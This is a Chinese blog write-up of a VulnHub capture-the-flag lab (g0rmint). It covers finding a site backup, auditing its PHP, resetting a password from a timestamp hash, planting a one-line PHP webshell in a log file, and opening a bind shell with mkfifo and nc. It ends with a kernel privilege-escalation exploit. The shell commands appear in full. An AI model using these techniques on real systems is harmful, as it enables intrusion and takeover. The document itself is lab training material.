VulnHub——g0rmint_VM

信息收集

主机发现

端口扫描

开放22、80端口

访问web页面,发现404错误

网站目录扫描

找到robots.txt文档

在robots.txt中发现一处目录

访问,是一处登陆点

可以尝试:万能密码、弱口令猜解、暴力破解、逻辑漏洞等

重置密码页面,可以尝试:任意密码重置、邮箱炸弹等

以上方式无果,找找页面源代码,一眼就看到backup-directory字段,这是备份,后面一大串字符应该就是备份的路径了

 拼接上路径,发现访问不到

继续扫描二级目录,找到info.php文件

打开网页,是一处压缩包

将压缩包下载下来

发现是整个网站的备份文件

代码审计

查看login.php,发现登录失败的时候会生成一个日志文件(调用addlog函数)

查看addlog函数,发现日志写在.php文件中。

这里可以尝试进行木马上传,将木马写入日志文件中,结合文件包含或日志文件绝对路径建立shell连接

查看reset.php,可以看到只要知道了一个存在的邮箱和用户名,就可以重置密码为一个时间值的哈希

全局搜索Email字段,在style.css中找到邮箱和用户名

漏洞利用

使用用户名和邮箱进行密码重置,在根据时间戳进行加密

将时间进行hash加密,取前二十位。

成功进到后台管理页面

再看看写入日志的代码

http://192.168.5.136/g0rmint/s3cr3t-dir3ct0ry-f0r-l0gs/2021-01-29.php,这个就是日志文件了

访问日志文件

写入一句话木马

利用POST方式,结合一句话木马执行phpinfo()函数

 接下来反弹shell,既然可以执行命令,直接执行反弹shell的命令就好了

mkfifo /tmp/t;

cat /tmp/t | /bin/sh -i 2>&1 | nc -l 8888 > /tmp/t;

  • 第二个命令执行后浏览器会进入阻塞状态,等待外部连接,执行外部连接传入的命令,相当于一个ssh
  • 在本地使用连接命令

这里要进行url编码

 

 nc访问目标端口,获得shell

权限提升

查看目标系统版本,Ubuntu16.04

查找Ubuntu16.04的内核漏洞,发现一处本地提权漏洞

本地编译(目标服务器无法使用gcc命令),开启apache服务

在目标服务器上下载提权脚本,赋予执行权限,执行脚本成功提权

总结

1、代码审计,如果目标站点是开源的,可以考虑下载源码进行审计,从代码层面进行渗透。

2、系统内核漏洞利用,不管是Linux还是Windows系统,企业中服务器都不会是最新的版本,可以在网上找到很多对应版本的POC和EXP

 

posted @ 2021-01-29 20:26  温水煮呱呱。  阅读(86)  评论(0编辑  收藏  举报